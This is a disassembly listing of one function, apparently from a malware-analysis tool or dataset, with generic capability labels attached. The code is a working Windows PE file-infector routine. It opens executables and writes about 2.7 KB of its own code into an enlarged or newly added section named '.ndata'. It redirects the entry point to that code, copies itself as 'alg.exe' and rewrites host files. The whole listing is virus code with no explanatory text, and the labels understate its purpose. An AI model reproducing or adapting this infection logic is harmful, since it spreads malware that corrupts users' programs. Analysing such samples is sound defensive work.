Function at 0x402166
Capabilities:
Copy file
Delete file
Enumerate pe sections
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdb8
pushal
push ebp
push 0x40277f
push 0x4027a4
push dword fs:[0]
mov dword fs:[0], esp
push 0
push 0x20
push 3
push 0
push 3
push 0xc0000000
push 0x405190
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
jne 0x4021ac
jmp 0x40277f
mov dword [ebp - 0x108], eax
mov esi, dword [ebp + 0xc]
push dword [esi + 0x54]
push 0x40
call sub.kernel32.dll_GlobalAlloc
mov dword [ebp - 0x114], eax
mov edi, eax
push dword [esi + 0x54]
push dword [ebp + 8]
push edi
call sub.kernel32.dll_RtlMoveMemory
add edi, dword [edi + 0x3c]
push dword [esi + 0x28]
pop dword [ebp - 0x110]
cmp byte [esi + 0x1a], 0
jne 0x4021f2
cmp byte [esi + 0x1b], 1
jne 0x4021f2
jmp 0x40277f
mov word [edi + 0x1a], 0x100
movzx eax, word [esi + 6]
dec eax
mov ecx, 0x28
mul ecx
mov edx, edi
add edx, 0xf8
add edx, eax
mov ebx, edx
add ebx, 0x28
pushal
mov edi, ebx
xor eax, eax
mov ecx, 0x28
repe scasb al, byte es:[edi]
popal
je 0x402386
mov eax, dword [edx + 0x14]
add eax, dword [edx + 0x10]
cmp eax, dword [ebp + 0x10]
je 0x40223b
jmp 0x4023eb
mov dword [edx + 0x24], 0x60000020
mov ecx, 0xa8f
add ecx, ecx
push dword [esi + 0x3c]
push ecx
call fcn.00402116
mov dword [ebp - 0x240], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x248], eax
mov eax, dword [ebp - 0x240]
add dword [edx + 0x10], eax
push dword [esi + 0x38]
push ecx
call fcn.00402116
mov dword [ebp - 0x244], eax
add dword [edi + 0x1c], eax
mov eax, dword [edx + 0x14]
add eax, dword [ebp - 0x248]
push edx
push 0
push 0
push eax
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push dword [ebp - 0x240]
push 0x40
call sub.kernel32.dll_GlobalAlloc
pop edx
mov dword [ebp - 0x118], eax
push 0
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 0x240]
push dword [ebp - 0x118]
push dword [ebp - 0x108]
call sub.kernel32.dll_WriteFile
push dword [ebp - 0x118]
call sub.kernel32.dll_GlobalFree
xor eax, eax
mov ebx, edi
add ebx, 0xf8
jmp 0x40230a
mov ecx, dword [ebx + 0x10]
or ecx, ecx
je 0x402305
test dword [ebx + 0x24], 0x20000000
je 0x402305
sub ecx, dword [ebx + 8]
cmp ecx, 0xa8f
jb 0x402305
or dword [ebx + 0x24], 0xc0000000
jmp 0x40231d
add ebx, 0x28
inc ax
cmp ax, word [esi + 6]
jbe 0x4022e1
sub ebx, 0x28
sub ebx, 0x28
or dword [ebx + 0x24], 0xc0000000
mov eax, dword [ebx + 0xc]
add eax, dword [ebx + 8]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebx + 0x14]
add eax, dword [ebx + 8]
mov dword [ebp - 0x120], eax
add dword [ebx + 8], 0xa8f
mov ecx, 0xa8f
push dword [esi + 0x38]
push ecx
call fcn.00402116
add dword [edi + 0x50], eax
push 0
push 0
push dword [ebp - 0x120]
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
mov ecx, 0xa8f
push 0
lea eax, [ebp - 0x10c]
push eax
push ecx
push fcn.00401687
push dword [ebp - 0x108]
call sub.kernel32.dll_WriteFile
jmp 0x4026f9
inc word [edi + 6]
mov eax, dword [edx + 0x14]
add eax, dword [edx + 0x10]
mov dword [ebx + 0x14], eax
mov ecx, 0xa8f
push dword [esi + 0x3c]
push ecx
call fcn.00402116
mov dword [ebx + 0x10], eax
push dword [esi + 0x38]
push ecx
call fcn.00402116
add dword [edi + 0x1c], eax
add dword [edi + 0x50], eax
push dword [esi + 0x38]
push dword [edx + 8]
call fcn.00402116
add eax, dword [edx + 0xc]
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], 0xa8f
mov dword [ebx + 0x24], 0xe0000020
push str..ndata
lea eax, [ebx]
push eax
call sub.kernel32.dll_lstrcpyA
mov eax, dword [ebp + 0x10]
cmp eax, dword [ebx + 0x14]
je 0x402698
push edi
push 0x405190
push 0x405398
call sub.kernel32.dll_lstrcpyA
push 0x405398
call sub.kernel32.dll_lstrlenA
mov edi, eax
sub edi, 1
lea eax, [edi + 0x405398]
mov ebx, dword [eax]
cmp bl, 0x5c
jne 0x402420
mov byte [edi + 0x405398], 0
jmp 0x402422
loop 0x402407
pop edi
push 0x405034
push 0x405398
call sub.kernel32.dll_lstrcatA
push str.alg.exe
push 0x405398
call sub.kernel32.dll_lstrcatA
push 0x400
push 0x40549c
push 0
call sub.kernel32.dll_GetModuleFileNameA
push 0
push 0x405398
push 0x40549c
call sub.kernel32.dll_CopyFileA
push dword [ebp - 0x108]
call sub.kernel32.dll_CloseHandle
push 0x405190
call sub.kernel32.dll_LoadLibraryA
mov dword [0x4068f0], eax
mov eax, 0x402ecf
lea edx, [0x405398]
push edx
push eax
push 3
push dword [0x4068f0]
call sub.kernel32.dll_EnumResourceNamesA
push dword [0x4068f0]
call sub.kernel32.dll_FreeLibrary
push 0
push 0x20
push 3
push 0
push 3
push 0xc0000000
push 0x405190
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 0x108], eax
push 0
push 0x20
push 3
push 0
push 3
push 0xc0000000
push 0x405398
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 0x22c], eax
push 0
push eax
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x230], eax
push dword [ebp - 0x230]
push 0x40
call sub.kernel32.dll_GlobalAlloc
mov dword [ebp - 0x224], eax
push 0
push 0
push 0
push dword [ebp - 0x22c]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 0x230]
push dword [ebp - 0x224]
push dword [ebp - 0x22c]
call sub.kernel32.dll_ReadFile
push dword [ebp + 0x10]
push 0x40
call sub.kernel32.dll_GlobalAlloc
mov dword [ebp - 0x228], eax
push 0
push 0
push 0
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 0x10]
push dword [ebp - 0x228]
push dword [ebp - 0x108]
call sub.kernel32.dll_ReadFile
push 0
push 0
push 0
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 0x230]
push dword [ebp - 0x224]
push dword [ebp - 0x108]
call sub.kernel32.dll_WriteFile
push 0
push 0
push dword [ebp - 0x230]
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 0x10]
push dword [ebp - 0x228]
push dword [ebp - 0x108]
call sub.kernel32.dll_WriteFile
push 0
push 0
push 0x20
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10c]
push eax
push 4
lea eax, [ebp + 0x10]
push eax
push dword [ebp - 0x108]
call sub.kernel32.dll_WriteFile
push 0
push 0
push 0xe2
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
mov dword [ebp - 0x234], 0x100
push 0
lea eax, [ebp - 0x10c]
push eax
push 4
lea eax, [ebp - 0x234]
push eax
push dword [ebp - 0x108]
call sub.kernel32.dll_WriteFile
mov eax, dword [ebp - 0x230]
add eax, dword [ebp + 0x10]
push 0
push 0
push eax
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push dword [ebp - 0x108]
call sub.kernel32.dll_SetEndOfFile
push dword [ebp - 0x22c]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x224]
call sub.kernel32.dll_GlobalFree
push dword [ebp - 0x228]
call sub.kernel32.dll_GlobalFree
push dword [ebp - 0x108]
call sub.kernel32.dll_CloseHandle
push 0x405398
call sub.kernel32.dll_DeleteFileA
jmp 0x40277f
push 0
push 0
push dword [ebx + 0x14]
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10c]
push eax
push dword [ebx + 8]
push fcn.00401687
push dword [ebp - 0x108]
call sub.kernel32.dll_WriteFile
mov eax, dword [ebx + 0x14]
add eax, dword [ebx + 0x10]
push 0
push 0
push eax
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push dword [ebp - 0x108]
call sub.kernel32.dll_SetEndOfFile
push dword [ebx + 0xc]
pop dword [ebp - 0x11c]
push dword [ebx + 0x14]
pop dword [ebp - 0x120]
mov eax, dword [ebp - 0x11c]
add eax, 0x6a6
mov dword [edi + 0x28], eax
push 0
push 0
push 0
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10c]
push eax
push dword [esi + 0x54]
push dword [ebp - 0x114]
push dword [ebp - 0x108]
call sub.kernel32.dll_WriteFile
mov eax, dword [ebp - 0x11c]
add eax, 0xa8f
sub dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0x120]
add ecx, 0xa8b
push 0
push 0
push ecx
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10c]
push eax
push 4
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 0x108]
call sub.kernel32.dll_WriteFile
pop dword fs:[0]
add esp, 0xc
push dword [ebp - 0x108]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x114]
call sub.kernel32.dll_GlobalFree
popal
leave
ret 0xc